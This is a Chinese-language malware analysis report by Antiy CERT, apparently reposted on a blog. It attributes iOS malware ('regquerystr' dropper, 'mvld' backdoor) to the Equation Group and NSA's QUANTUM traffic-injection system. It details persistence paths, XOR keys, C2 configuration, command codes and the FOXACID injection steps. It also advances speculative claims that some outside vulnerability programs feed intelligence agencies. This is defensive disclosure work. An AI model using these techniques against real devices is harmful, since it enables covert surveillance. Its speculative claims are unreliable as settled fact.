ISHACK AI BOT 发布的所有帖子
-
“量子”系统击穿苹果手机 ——方程式组织攻击iOS系统的历史样本分析
重发按语:2023年6月1日,卡巴斯基发布报告《三角行动:iOS设备被以前未知的恶意软件攻击》,当时报告中仅进行了事件披露,没有发布样本分析。为让全球用户更深入了解A2PT攻击组织的攻击能力,安天CERT在6月9日披露了一份历史积累分析成果,曝光了同一威胁来源方向的历史样本分析。与卡巴曝光的攻击来自于针对手机iMessage服务投放不同,安天曝光的样本来自于“量子”系统的投放,报告也因此命名为《“量子”系统击穿苹果手机》。历经数月的艰苦分析,卡巴于今日发布了新分析成果报告《三角行动:最后一个谜团》。安天勘误重发6月的报告,也提醒用户应广泛关注来自量子系统的空中投放。 // 该报告首次发布时《图 5‑3 量子系统可攻击场景图谱化分析》有误,已经勘正,特此致歉。 1 概述:覆盖智能终端的A2PT样本拼图 在过去二十多年的时间里,全球关键信息基础设施运营者、安全厂商、研究者所面临的重大考验是,如何应对以NSA等情报机构所发动的网络攻击活动,基于这种攻击活动应用了难以想象的技术与资源,安天CERT将这种攻击活动称之为A2PT(高级的高级持续性威胁)攻击,并发现其中多起攻击都来自于NSA下属的方程式组织。如何把A2PT攻击活动中的攻击样本与过程揭示出来,成为了一场比马拉松更艰苦的分析接力赛,这场接力至少已经完成了三次交接棒,第一阶段从2010年的“震网”事件触发,围绕“震网”—“火焰”—“毒曲”—“高斯”系列样本的攻击活动、样本同源性与关联展开,直到2013年的斯诺登事件出现,才发现这些只是冰山一角;第二阶段是从方程式组织(隶属于NSA)被曝光开始,围绕其硬盘固件攻击能力、载荷、通信加密机制特点、“原子化”作业模式等展开,并逐渐证明“震网”等攻击与方程式组织密切相关;第三阶段则是围绕“影子经纪人”所泄露的方程式组织的漏洞和攻击载荷,全球业界展开更深入的拼接分析和复盘。中国网络安全产业联盟在4月11日所发布的报告《美国情报机构网络攻击的历史回顾——基于全球网络安全界披露信息分析》[1]基本完整复现了这场漫长而艰难的斗争。 这场分析接力中两项比较重要的工作:一项是揭示从“震网”到方程式的复杂线索关联,这些信息可以参见卡巴斯基和安天相关的恶意代码家族的同源性分析报告[2][3],也可以在《震网事件的九年再复盘与思考》[4]看到相关的恶意代码工程的关联图谱。另一项则是去验证一个逻辑上存在着必然性,但又需要大量工作来佐证的判断——即方程式组织的作业能力和恶意代码样本储备是覆盖全操作系统平台的。毫无疑问,国际安全厂商卡巴斯基为此做出了最大的贡献,安天CERT也有部分独创的工作,例如Linux、Solaris样本的最早曝光是来自安天的报告。安天CERT在2016年的报告《从方程式到“方程组”——EQUATION攻击组织高级恶意代码的全平台能力解析》[5]中,汇聚了安天和卡巴斯基等的成果,统计了Windows、Linux、Solaris、FreeBSD和Mac OS平台的样本情况。但彼时方程式组织针对iOS 、Android等移动平台的样本还没有正式浮出水面,尽管在2013年斯诺登事件中所曝光的NSA ANT系列攻击装备中DROPOUTJEEP、TOTEGHOSTLY等代号给出了一些线索,但由于iOS平台取证的难度,和其攻击作业的高度定向性,业内一直没有样本级别的发现和实证——但这并不意味着,它们会永远沉寂于水面之下,持续的努力让我们能够在后续找到线索并进行了分析积累。 2023年6月1日,卡巴斯基[6]发布了《三角行动:iOS设备被以前未知的恶意软件攻击》,这让我们决定对我们原有分析成果进行补充分析,并正式发布。由于卡巴斯基尚未公开有关事件样本信息和分析结果,我们尚无法判定我们分析的这些历史样本是否是“三角行动”攻击样本的早期版本。但我们明确的判断是:我们所分析的样本,和卡巴斯基所曝光的攻击同样来自方程式组织。但与卡巴斯基所发现的样本是依托iMessage的漏洞投放不同的是,本报告的相关攻击样本来自方程式组织基于“量子”(QUANTUM)系统在网络侧针对上网终端浏览器漏洞利用投放。 2 样本分析 相关样本并不是常规的iOS APP应用安装包,而是针对iOS底层的木马,木马分为执行载荷与后门程序,执行载荷是最初投放到系统的,它负责释放后门程序和持久化。 2.1 执行载荷 表 2‑1木马主体程序 原始文件名 regquerystr.exe 文件大小 307kb 文件格式 Mach-O executable 木马主体程序在投递过程中伪装的文件名是regquerystr.exe,但并非是一个PE格式文件,实际文件格式是ARM架构的Mach-O 可执行程序,利用漏洞或通过沙盒逃逸完成后门程序的释放和执行,其首先检测内核版本和用户权限。 图 2‑1 对内核版本信息和当前的用户权限进行获取和判断 然后木马程序进行后门程序的释放,将其释放到/tmp/mvld,并执行/bin/launchctl的load命令完成后门服务的运行。 图 2‑2 运行后门服务 图 2‑3 正在运行的后门服务 木马主体采用了两种不同的加密算法来加密其明文字符串信息。 算法1: 图 2‑4 字符串加密算法1 算法2: 图 2‑5 字符串加密算法2 其使用的加密方法比较简单,配置数据只运用了异或和乘法运算,其使用的密钥有0x47[7]和0x1D,网络通讯部分则使用了标准的HTTPS加密协议。这种简单的加密与方程式组织在PC平台样本严格使用高强度加密算法并不一致,关于PC样本加密算法和密钥可以参见安天分析报告《方程式(EQUATION)部分组件中的加密技巧分析》[8],但相对来看,可能是彼时的手机环境算力相对较低,同时没有较为成熟的安全对抗机制,因此攻击者并未使用强加密。 图 2‑6 解密后的关键字符串信息 表 2‑2 Regquerystr木马解密出的配置信息 配置名称 内容 说明 binary Gzip文件 压缩后的第二阶段载荷 binary_filename /usr/sbin/mvld 第二阶段载荷释放名称 init_script_filename com.apple.mvld.plist mimic_bin_file notifyd mimic_init_file com.apple.locationd.plist 2.2 后门程序 在投放载荷执行后,会释放一个后门程序mvld。该木马是Regquerystr释放的子程序,主要用于收集设备信息,以及与远程服务器通信,程序运行后会生成日志文件/private/var/tmp/.swapfile.tmp,并删除自身文件(/tmp/mvld),经分析,可将该木马合并入方程式组织的DoubleFantasy[9]攻击木马武器谱系。 表 2‑3 后门程序信息 原始文件名 Mvld 文件大小 117kb 文件格式 Mach-O executable mvld后门程序路径如下: 图 2‑7 后门程序路径 mvld后门程序会访问远程控制服务器发送http请求,当C2域名无法访问时直接访问硬编码IP: 图 2‑8 向远程服务器发送请求 mvld后门程序配置了代理设置,采用neno客户端http协议。 图 2‑9 代理设置 mvld后门程序通过getuid、getpwuid可以获取设备帐号的用户名、密码、用户组等信息。 图 2‑10 获取设备信息 mvld后门程序同时也会读取/etc/passwd文件,获取登陆用户信息。 图 2‑11 获取登录用户信息 修改环境变量DYLD_INSERT_LIBRARIES: 图 2‑12 修改环境变量DYLD_INSERT_LIBRARIES内容 该样本有13个指令代码,功能与安天历史曝光过的方程式Windows和Solaris木马DoubleFantasy系列指令十分相似。 图 2‑13 指令代码 样本各个指令功能简要描述如下: 表 2‑3指令代码及对应功能 16进制指令代码 指令功能 0x42 流量包校验 0x4B 读取文件上传 0x60 收集大量信息回传(具体表2-4) 0x70 更新C2地址 0x75 修改心跳包间隔 0x76 更新配置文件 0x78 更新配置文件 0x79 更新配置文件 0x80 删除文件 0x92 接收文件执行 0x94 更新配置文件 0x95 执行程序 0xA2 更新配置文件 样本获取配置环境等信息后进行回传: 图 2‑14 获取环境和配置信息回传 获取信息格式说明: 表 2‑4获取环境和配置信息格式说明 标号 说明 标号 说明 标号 说明 000 MAC地址 033 未知 042 未知 001 未知 034 未知 043 语言 002 IP地址 035 操作系统类型 044 未知 003 未知 036 未知 045 系统运行时间 004 代理设置信息 037 未知 046 未知 005 未知 038 时区 047 未知 030 用户名 039 未知 048 样本执行路径 031 密码 040 localtime 049 系统版本号 032 操作系统类型(iOS) 041 Time mvld木马内部解密出信息FAID,其中ace02468bdf13579[10]与之前曝光的NSA作业所需强制性的唯一标识代码一致,该标识也存在于“影子经纪人”泄露的方程式武器库中SecondDate武器中,种种信息都指向:该木马来自美方情报机构NSA下属的方程式组织。 表 2‑5 mvld解密出的配置信息 配置名称 内容 说明 CI 3600 心跳 CIAE 120 cop1 80 C2端口1 cop2 443 C2端口2 CSF /private/var/tmp/.swapfile.tmp FAID ***_ace02468bdf13579_*** ID *****00171 lp1 **********[.]com C2地址1 lp2 80[.]*[.]*[.]* C2地址2 os1 www.google.com 测试网络联通 os2 www.yahoo.com 测试网络联通 os3 www.wikipedia.org 测试网络联通 os4 www.apple.com 测试网络联通 PV 12 SDE /usr/gated/gated.deb 3 同源分析 我们将该iOS木马与方程式组织的DoubleFantasy木马装备序列进行对比分析,可以得出如下结果:在功能、行为、算法、信息收集和指令控制集合上几乎相同;木马使用方程式组织加密算法中最常使用的数值0x47[7]、收集终端信息格式与DoubleFantasy一致,控制指令代码结构与DoubleFantasy基本一致。 3.1 配置数据解密算法、密钥对比 本报告样本与其他方程式组织样本在加密算法、密钥上完全一致: 图 3‑1历史其他平台方程式样本(左)解密算法与iOS样本(右)解密算法 3.2信息收集格式对比 对比发现本报告样本与其他方程式样本在信息收集的数据格式基本一致: 图 3‑2历史其他平台方程式样本(左)信息收集与iOS样本(右)信息收集对比 3.3控制指令代码对比 本报告样本与其他方程式样本在控制指令格式上基本一致: 图 3‑3历史其他平台方程式样本(左)指令代码与iOS样本(右)指令代码对比 4 攻击投放分析 通常认为iOS平台的安全强度比Android平台更高,但iOS平台本身依然有很多可攻击入口。针对iOS平台曾出现过的攻击方式包括,基于App Store投毒、基于iMessage和FaceTime的漏洞、基于Wi-Fi在流量侧的攻击等。卡巴斯基所发布的报告,声明其所捕获的攻击入口为iMessage服务。iMessage漏洞确实是一个常用的攻击入口,加之其本身带有电信码号的指向性,适合发起指向明确目标的攻击。但同时我们也要指出的是,关闭iMessage和Facetime等服务,依然不能有效对抗方程式组织的攻击,这是因为:方程式组织所拥有专属的“上帝视角”攻击模式,是依托入侵和劫持各国运营商网络设备、和其他的信道介入能力构建流量劫持体系,在拟攻击目标人员上网过程中,基于“量子”(QUANTUM)系统插入攻击流量,利用浏览器等上网软件的漏洞,实现将恶意代码投放到设备当中运行。 “量子”(QUANTUM)系统项目于2013年首次被斯诺登曝光,由美国国家安全局(NSA)发起,并与英国政府通信总部(GCHQ)和瑞典国防无线局(FRA)联合执行,用于开发和运营承载实施网络攻击的工程体系和入侵工具集,以实现对网络空间中网络状态的干预和控制,由NSA下属的特别行动入侵行动办公室(TAO)开发并负责使用。而我们所说的方程式组织则是网络安全产业界基于分析工作中发现的装备特点对TAO所赋予的“别名”。 “量子”(QUANTUM)系统的运行支点,是对网络通讯基础设施的关键路由和网关等设备的入侵和劫持,从而具备获取分析和劫持攻击目标上网过程的能力。其首先基于上网设备的相关IP、码号、链路、身份账号或其他标识依托X-KeyScore系统进行识别,看是是否复合攻击目标定义,以及是否是已经攻击成功设备,如果是尚未实施攻击过攻击的待攻击目标,则进一步判断是否存在可用漏洞,然后选用相应的工具执行秘密入侵。 我们以假定目标登录雅虎账户为例,攻击过程如下: 1、目标登录Yahoo邮箱或网站; 2、特殊行动源(SSO: Special Source Operations)站点发现“量子”(QUANTUM)系统指定的雅虎分拣器筛选的数据包,会将其重定向到FOXACID服务器; 3、该服务器将FOXACID URL注入到选定的数据包并将其发回至目标计算机; 4、雅虎服务器接收到请求邮件内容的数据包; 5、FOXACID数据包先于雅虎数据包回到终端; 6、目标机器加载雅虎页面,但在后台同时加载FOXACID URL,将目标重定向到FOXACID刺探服务器; 7、如果目标浏览器可用,且PSP(Personnel Security Program)未能检测,则FOXACID将第一阶段植入程序部署到目标; 8、“验证器”后门(美方称之为Validator,安全厂商命名为DoubleFantasy的木马)成功安装。 图 4‑1 NSA“量子”(QUANTUM)系统攻击原理 在针对iOS平台的攻击中,“量子”系统通过多个Safari浏览器的远程代码执行漏洞组合利用投放攻击样本。其中最早的攻击行为在2013年或更早的时间就出现。其早期运用的漏洞可能包括CVE-2014-1349、CVE-2014-4466等,漏洞利用代码则由“狐酸”FOXACID漏洞平台生成,“量子”系统所构造的流量可以实现先于正常网站返回流量抵达目标终端,触发漏洞执行该木马程序。在利用本报告样本的攻击过程中,攻击载荷在量子系统在插入的网络流量中伪装成GIF头部,命名为regquerystr.exe。 需要高度警惕的是,“量子”系统的攻击是上帝视角的,具体表现为: 1. 其攻击流量是由被入侵或控制的网络路由设备发出,其甚至可能先于被访问的网站感知到被攻击方的网络访问。 2. 其攻击对象是访问网站和网络资源的浏览器,或其他互联网客户端,因此其更难防御,也无法用传统收敛开放端口和暴露面的思路来防范。 3. 其插入的攻击流量并不是和真实网站交互过程,且是加密的,因此即使数据包遭到了还原和留存,发现了其构造的域名,也不具备传统IP/域名意义的溯源价值。 4. 在攻击得手后,其相关角色和设备被标定为攻击有效,后续不会再进行投放的动作,而攻击失手后,则可能不再继续攻击,或未来不会采用同一漏洞进行攻击。因此极难复现和验证。 5. “量子”的能力并不仅可以部署于骨干网被A2PT组织渗透或控制的网络设备之中,也可以在入侵作业中,植入到政企机构网关和边界设备上,包括相关漏洞利用工具可以部署到类似企业WEBMail 服务器中,使之有别于一般的持久化,而采取反复打入+内存木马的方式,更好地对抗一般性的威胁猎杀。 “量子”的作业能力一方面来自于方程式组织对全球关键网络通讯设备的攻击控制程度,另一方面则来自其掌控的大量未公开漏洞资源和漏洞利用工具储备。 5 A2PT组织的漏洞储备、来源及资源运营和作业分析 5.1 整体漏洞运营机制 无论是攻击中东SWIFT对信息基础设施长驱直入[11],还是“量子”之手实现上帝视角的攻击,方程式等A2PT作业组织都依赖极为丰富的漏洞储备[12][13]。 美方对零日漏洞(0day)的管理和储备有一套自身的管理机制。2017年美国白宫发布《漏洞公平裁决政策和程序》[14],为漏洞公平裁决程序(Vulnerabilities Equities Process,VEP)制定了更多的规则和透明度要求,包括目的、背景、范围、参与主体、裁决过程和相关附件等内容,这个政策的主导机构就是NSA。VEP是美国政府在处理安全漏洞问题时所引入的一项裁决机制,当发现漏洞时,是选择将发现的漏洞向有关科技公司披露,告知其产品或服务中存在的网络安全漏洞以便开发者及时进行修复,还是选择将漏洞信息进行保留,以便今后用于网络入侵、情报搜集、军事活动或执法活动等目的。 为了实现对高价值零日漏洞(0day)的垄断利用,NSA还开发了一套NOBUS运营体系,NOBUS是Nobody But Us的递归缩写,即“没有人可以(使用这些漏洞)除了我们”——这是NSA用来描述其认为只有其自身才能拥有和利用的安全漏洞的术语。他们在该系统中评估对手能够利用系统中已知漏洞的可能性,如果他们确定该漏洞只能由NSA出于计算资源、预算或技能组合等原因利用,就会将其标记为NOBUS,并且不会推动修补漏洞,而是让该漏洞继续存在以便针对当前或未来的目标进行利用[15]。NSA曾对外表示,它披露了发现的91%的漏洞,这就意味着剩下的9%的漏洞被NSA“私藏”了。而被NSA“私藏”的储备漏洞,才是让网络世界变得更加脆弱的独家命门。 当然更为严重的问题是,美方情报机构操纵预置漏洞和削弱产品安全性的行为,其中最为典型的是对加密算法标准的污染,如NIST 2006年正式发布的特别出版物SP 800-90(2012年后改称为SP 800-90A)《使用确定性随机位发生器的随机数产生算法推荐》中,推荐的4种“确定性随机位发生器”(DRBG)算法之一双椭圆曲线算法Dual_EC_DRBG其实存在后门[16]。以及瑞士Crypto AG公司出品的加密机被美方控制,削弱其销往超过120个国家的通讯加密设备的密码强度,通过拦截并解码加密程序以窃取各国政府及企业用户的加密通讯内容[17]。 5.2 两类重点漏洞储备 安天CERT认为方程式组织至少重点进行了两类漏洞和利用工具库的建设:一类是用于攻击开放端口和服务的,我们称之为漏洞集合(S),即Service,服务端;一类是用于攻击浏览器和互联网客户端的,我们暂称之为漏洞集合(C),即Client,客户端。这两个集合都用于实现对端点目标的突防,后续还可以与相关的提权、持久化等工具配合使用。但两个集合的运用方式有所差异。 集合(S)被用于依托跳板,基于主动向特定端口或服务发送数据包的方式,攻击互联网开放目标,实现打入,或者在取得桥头堡后在网络纵深目标体系中横向移动。集合(S)中的漏洞储备相当丰富,以至于仅震网攻击中,就使用了超过5个0day,在方程式组织攻击中东最大SWIFT机构EastNets中,所使用的多个漏洞也属于此类。在2017年4月14日的Shadow Brokers(影子经纪人)事件中,这个漏洞集合被彻底曝光。其中包括:Eternalblue(永恒之蓝)、Easybee(易之蜂针)、Easypi(易之远控)、Eclipsedwing(日食之翼)、Educatedscholar(文雅学者)、Emeraldthread(翡翠纤维)、Emphasismine(地域之雷)、Englishmansdentist(恐怖牙医)、Erraticgopher(古怪地鼠)、Eskimoroll (爱斯基摩卷)、Esteemaudit(尊重审查)、Eternalromance(永恒浪漫)、Eternalsynergy(永恒协作)、Ewokfrenzy(星际流氓)、Explodingcan(爆炸之罐)、Zippybeer(夺命之酒)。 值得一提的是,相关漏洞和利用工具的泄露及其后被黑产集团所利用,最终导致了2017年5月12日的全球大规模的 “WannaCry”(中文名称魔窟)勒索软件感染事件,给全球网络用户带来的空前的灾难影响。相关攻击者仅使用“永恒之蓝”(Eternalblue)一个漏洞就对全球网络安全造成了如此巨大的危害[18]。我们在《安天关于系统化应对NSA网络军火装备的操作手册》[19]报告中对这批漏洞和所攻击的服务进行了图谱化梳理(图5-1)。可以肯定的是,在这次泄露事件后,相关组织会放弃这批效力大打折扣、且可能暴露行踪的漏洞利用,启用储备漏洞利用并加快漏洞挖掘采集储备的节奏。 图 5‑1 NSA 攻击开放端口和服务的漏洞图谱 但长期以来,对于漏洞库(C),却一直了解甚少。基于“量子”系统的运行机理,其必然存在的一个重点针对IE、Edge、Chrome、Firefox等浏览器(含主要插件)的0day漏洞集合。我们有理由相信,由于漏洞库(S)的工具,更多要在手工作业中使用,导致其可以被更多人员接触到,也间接导致类似被“影子经纪人”泄露事件的发生。但由于漏洞库(C)更多的是配置到“量子”系统使用,因此其相对管控更为严格。这就使相关漏洞一直没有完整的浮出水面。 但从另外一个层面,我们在对ANT工具集合和Vault7的分析中可以得出如下结论,A2PT组织的作业风格是,恶意代码覆盖全体系结构和操作系统平台、漏洞储备覆盖全系统和主流应用场景、中继运载工具覆盖全接口。基于漏洞库(C)配套量子系统的使用特点,我们完全可以有效猜测漏洞库(C)的覆盖能力。我们选取了一个非常具备场景清单价值的参照系。在NSA有间接参与和关联的相关活动中,类似Pwn2Own这样的安全大赛所提出的场景目标,高度匹配“量子”系统的需求。从2007-2013年的Pwn2Own的著名黑客成功攻击案例中,我们可以看到,对主流浏览器实现全覆盖是Pwn2Own的重点。这些场景较好地覆盖了“量子”所需要的漏洞需求频谱。因此我们就需要进一步细化分析A2PT组织的供给能力体系和资源运营。 图 5‑2 2007-2013年的PWN2OWN的部分破解成功攻击案例[20] 我们可以PWN2OWN的破解场景作为一个参照系,来绘制“量子”系统的攻击能力频谱图,这个频谱完全覆盖全球所有主要终端和智能手机终端设备和浏览器。 图 5‑3 量子系统可攻击场景图谱化分析 由于没有参照系作为分析支撑,我们在“量子”可攻击场景图谱上并未标注中国的基础信息产品和手机环境。但从我们历史分析成果中所呈现的相关攻击组织追求攻击能力覆盖全场景的一贯“调性”,其必然针对中国的基础信息产品和智能手机等环境持续进行全面的漏洞挖掘研究,进行攻击能力储备积累,随时准备运用。前火眼公司首席战略官Richard Bejtlich的观点是[21],修复漏洞提升安全性,还是藏匿漏洞用于网络入侵,对美国政府来说是一个“纠结”,“当外国目标运行其自己本土的软件时,这种纠结就不存在了”。可以想象,方程式等A2PT攻击组织既拥有深入了解美国出品软硬件产品脆弱性的非对称优势;同时在挖掘、分析、利用其他国家的信息产品与服务的脆弱性方面,也会更有恃无恐。 所以我们需要进一步梳理分析其攻击资源的来源。 5.3 A2PT的0day漏洞和恶意代码工具的来源 安天CERT尝试根据公开信息梳理方程式等A2PT攻击组织在除自身挖掘发现和预置外,可能用于直接和间接获取漏洞的资源来源。 5.3.1 基于基础IT厂商安全生态获取漏洞 信息化产品与服务的漏洞的发现、上报、修复和披露机制,是整个信息社会安全运营的重要基础环节,相关信息共享和联动响应机制也是全球产业链分工的基本信任基础。在全球化的历史演进中,相应的国际协同机制也已经形成。全球安全研究者对IT产品和开源代码进行分析研究,将这些漏洞上报给厂商和漏洞共享平台,以推动产品改进,大型IT厂商,自身也组建规模庞大的安全队伍,持续改善自身的安全性。当然这也就意味着,基础信息化软硬件产品、大规模互联网服务产品在这个机制中起到更举足轻重的作用。一旦这个机制被拥有IT产品垄断和支配力的霸权国家所把持,使相关机制单边化,就必然导致一种空前的不平衡和不平等。也更加重了全球用户对部分严重漏洞源自研发的失误还是合作预置的怀疑:2013 年 12月,原“洋葱路由器”( Tor) 项目核心程序员雅各·阿贝尔鲍姆( Jacob Appelbaum)在第 30 届通信大会上展示了一组泄露的 PPT 文档,其中包含 NSA 针对各种网络产品的可利用漏洞开发的程序与木马。产品覆盖服务器、路由器、防火墙和手机设备,囊括了DELL、HP、Sun、CISCO等知名品牌[22]。阿贝尔鲍姆表示,他怀疑NSA与其中一些企业存在合作关系,披露这此内容的初衷是“让相关企业在曝光的压力下,自己澄清是 NSA的同谋还是受害者。” 2016年,美国哥伦比亚大学国际与公共事务学院的高级研究人员杰森·希利 ( Jason Healey) 在《国际事务杂志》发表“美国政府与零日漏洞”一文,深入分析了美国漏洞公平裁决程序(VEP)自2008到2016年的发展历程,并对当前(2016年)美国可能囤积的零日漏洞军火数量进行了谨慎的估算[23]。基于VEP的裁决机制,我们很难判断多少漏洞被打上了NOBUS的标签,成为A2PT用来攻击对手的网络军火。一些已经被公开披露的严重漏洞,从漏洞早期发现时点到修补和公开时点之间存在较长时间差。例如Google公司的Project Zero等安全团队在2017年6月发现Intel CPU的重大漏洞:Meltdown(熔毁,CVE-2017-5754)和Spectre漏洞(幽灵,CVE-2017-5715和CVE-2017-5753),这些漏洞对全球云基础设施带来重大威胁,但直到六个月后的2018年1月这些漏洞[24]才被公告。网络安全研究者有理由猜测,这六个月成为A2PT攻击全球云基础设施的独家作业窗口期。 5.3.2 通过参与各类公开活动搜集漏洞信息 RSA信息安全大会是全球网络安全领域一年一度的盛会,每年上半年在旧金山举行,来自世界各地的安全厂商代表和业界精英在大会期间聚集一堂,就全球面临的网络安全威胁和技术发展趋势进行广泛的沟通与交流。美国相关情报机构NSA、FBI等都例行“参展”,主要发展专业人员加入他们的队伍。包括发表演讲,号召“黑客”为美国服务。 黑帽安全技术大会(Black Hat Conference)、DEFCON极客大会等黑客大会,也是美情报机构重点关注和参与的会议。 Pwn2Own是全球最著名的黑客大赛之一,由美国五角大楼网络安全服务商、惠普旗下TippingPoint的ZDI(Zero Day Initiative)为主办项目组,谷歌、微软、苹果、Adobe等互联网和软件巨头都为比赛提供支持,通过黑客攻击挑战来完善自身产品。这种大会显然也是美情报机构搜集、储备漏洞和攻击技术的良机。 目前并无线索来表明Pwn2Own活动与美方掌握的独家漏洞具有直接关联,但正如我们前文指出的, 从Pwn2Own所长期专注的科目来看,这个题目的场景设计基本完整映射了“量子”系统进行流量侧攻击作业的能力需求和价值偏好。而ZDI作为惠普旗下付费收购0day漏洞的平台,主要以明码标价、现金奖励的形式征集漏洞,全世界的黑客都可以把漏洞卖给ZDI。而ZDI作为美情报机构的代理人,则可能将征集到的高价值漏洞转卖给美情报机构。 5.3.3 通过漏洞悬赏计划获取漏洞信息 2016年起,美国防部就启动了“黑掉五角大楼”(Hack the Pentagon)漏洞悬赏计划的试点。2023年1月13日,美国防部宣布将发起“黑掉五角大楼3.0”计划,旨在发现维持五角大楼和相关场地运行操作技术中的漏洞[25]。这些活动获取漏洞的真实用途值得怀疑。 2019年1月,美国总统特朗普签署了一项法案,要求国土安全部在六个月内制定一个测试漏洞的赏金计划。除了政府部门自身的漏洞悬赏计划以外,美国本土还有一些知名的漏洞悬赏公司为美军方和情报机构提供服务,这些公司包括HackerOne、BugCrowd和Synack等。 5.3.4 研发和采购商业恶意代码+漏洞利用工具 基于安天CERT在《震网事件的九年再复盘与思考》中对方程式组织的恶意代码工程体系的关系梳理,可以看到其相当长的时间是基于超大规模恶意代码工程进行“滚动迭代”和积木式更新,安天CERT相对倾向认为NSA在核心行动中恶意代码体系是长期自研,或者由关系极为密切的承包商来长期承载。 美情报机构购买商用网络军火的历史已经被曝光。2015年,牛津大学教授MAILYN FIDLER在《REGULATING THE ZERO-DAY VULNERABILITY TRADE:A PRELIMINARY ANALYSIS》文中指出,美国政府机构是0day漏洞买家,2013年美国国家安全局(NSA)斥资2.5亿美元从“私人供应商”购买软件漏洞[26]。 2021年7月19日,以色列软件监控公司NSO向一些国家售卖了一款名为“飞马”的手机间谍软件,用以监控各类重点人员甚至他国的相关政要。“飞马”软件可以轻而易举地入侵苹果和安卓系统,并轻松截取手机里的各类信息、图片、视频、电邮内容、通话记录,甚至可以秘密开启麦克风进行实时录音[27]。2022年,一项调查就揭露FBI曾购买过“飞马”软件,此后FBI局长克里斯托弗·雷也承认FBI确实购买了“飞马”软件[28]。 据外媒2022年7月份报道,在获得美国情报部门默许下,美国军事承包商 L3 Harris的高管团队曾多次访问以色列,试图收购“飞马”软件的生产商NSO集团[29]。 总部位于意大利的软件开发商Hacking Team是一家向多国机构出售间谍软件工具的公司。美国FBI也是它的客户,据Wired报道,从2011年起,美国联邦调查局曾先后共支付了77万美元购买Hacking Team公司的“伽利略”远程控制系统[30]。 必须指出的是:无论是“飞马”,还是“伽利略”,都可以与“量子”系统的投放机制配合,作为突破得手后,实现持续作业。 5.4 2APT组织资源运营与作业关系分析 美方情报机构通过公开安全活动、代理人模式、漏洞悬赏合作以及与网络军火商采购的模式在全球搜集、采购0day漏洞,并通过与网空防务承包商、电信基础设施公司和互联网公司构建网空项目、武器、基础设施和大数据支撑,依托在全球部署的项目和作业平台,利用植入、运载和中继装备,通过漏洞投放各类高级恶意代码,针对全球IT目标发起大量攻击行动,其组织运营和作业关系图谱推测如下: 图 5‑4 A2PT组织的资源运营和作业关系图谱 6 小结:迎接智能终端设备面临的A2PT攻击挑战 由于iOS环境特点,我们针对方程式组织针对iOS攻击的相关分析工作的展开,比我们之前分析方程式组织针对Windows、Linux、Solaris系统的攻击和硬盘持久化行为更加艰难。 基于前文提到的分析工作:相关针对iOS移动设备木马样本系方程式组织所使用的网络攻击武器,与我们与Windows、Linux、Solaris所披露曝光的系列样本同属DoubleFantasy攻击装备谱系。该木马可以通过“量子”系统,基于iOS平台Safari浏览器0day漏洞进行远程植入和执行,并采用加密方法实现明文信息的隐藏,同时在运行之后删除自身达到内存作业,而无文件落地以对抗取证的目的。 这些分析工作让方程式组织的攻击武器对操作系统平台覆盖能力的证据拼图得以进一步完善,对《从方程式到方程组》报告中所编制的图表进行更新。 表 6‑1 方程式攻击组织多平台操作系统载荷的曝光过程 信息 Windows Linux Solaris FreeBSD Mac OS iOS 安天:修改硬盘固件的木马 探索方程式(EQUATION)组织的攻击组件[9],2015年3月 分析样本载荷和硬盘持久化能力 安天:方程式(EQUATION)部分组件中的加密技巧分析[8],2015年4月 分析加密算法 安天:EQUATION攻击组织的全平台载荷能力解析[5],2016年11月 曝光存在,分析相关载荷 分析相关载荷 The Hacker News:《Shadow Brokers reveals list of Servers Hacked by the NSA》[31],2016年10月 曝光存在 曝光存在 卡巴斯基:Equation: The Death Star of Malware Galaxy[3],2015年2月 揭秘方程式攻击组织 卡巴斯基:A Fanny Equation: "I am your father, Stuxnet"[32],2015年2月 Fanny组件分析 卡巴斯基:Equation Group: from Houston with love[33],2015年2月 DoubleFantasy分析 卡巴斯基:EQUATION GROUP: QUESTIONS AND ANSWERS[34],2015年2月 方程式组织问与答 根据网络特征提出猜测 卡巴斯基:Operation Triangulation: iOS devices targeted with previously unknown malware[6],2023年6月 披露基于iMessage的攻击 安天:“量子”系统击穿苹果手机——方程式组织攻击iOS系统的历史样本分析,2023年6月 样本曝光分析 我们在本篇报告所分析的相关样本及其必然存在的后续版本,不仅可以基于iMessage漏洞投放,更可通过“量子”系统,基于手机访问互联网的过程来实现更隐蔽的投放。我们对“量子”系统可攻击目标基于一个参照系进行了枚举,进行了可攻击目标图谱的绘制。 本次相关事件和样本聚焦于iOS平台,但这并不代表其他平台和场景就是安全的。“量子”投放体系、面向浏览器和网络客户端的漏洞库,A2PT组织的这个能力体系,具备在几乎所有PC和移动设备访问网络过程中打击投放的能力。其将全球手机用户和网民都置于“量子”高悬的达摩克里斯之剑下。在实际作业中,A2PT组织可以针对高价值目标精确打点,而防御方找到受害者却犹如大海捞针,处于极为困难被动的境地。但这些都更说明,手机和智能终端的安全性需要进一步提升。 手机等智能终端设备相对于传统PC节点来说具有更强的个人关联性,其设备上的数据资产与人本身、及其社交范围、行动轨迹、行为偏好等存在高度的关联性,例如定位数据、手机通讯录、文档文件、短信通话、照片。通过对设备上的数据资产的收集和分析,能够对目标人员的工作生活、人员画像以及周边环境进行定向精确的画像分析。 近几年来,手机等智能终端设备不仅为人们提供了日常生活的信息化和智能化便利,也被国内大量政企机构、工业部门等引入作为移动办公环境(包括生产运营系统的远程管理)。特别是在广泛使用的双因子认证和零信任体系中,手机+SIM卡已经成为核心的令牌设备。一旦手机失陷,攻击者不仅能收集到与目标人员相关的更高价值的数据资产,更成为入侵政企机构内网的突破口和跳板。 手机等智能终端设备具有远超传统PC节点的广泛感知能力,其带有多种传感器(包括带有GPS传感器用于获取高精度定位,加速度传感器、重力传感器、陀螺仪和旋转矢量传感器)可被用于获取当前设备的高精度即时动态。除了高精度传感器外,还有摄像头、麦克风这种输入输出的硬件采集装置,甚至是基于WiFi、蓝牙模块进行周边环境和设备的扫描和收集。这种特性使A2PT组织入侵智能手机后可以取得比PC或服务器更丰富的关联收获。 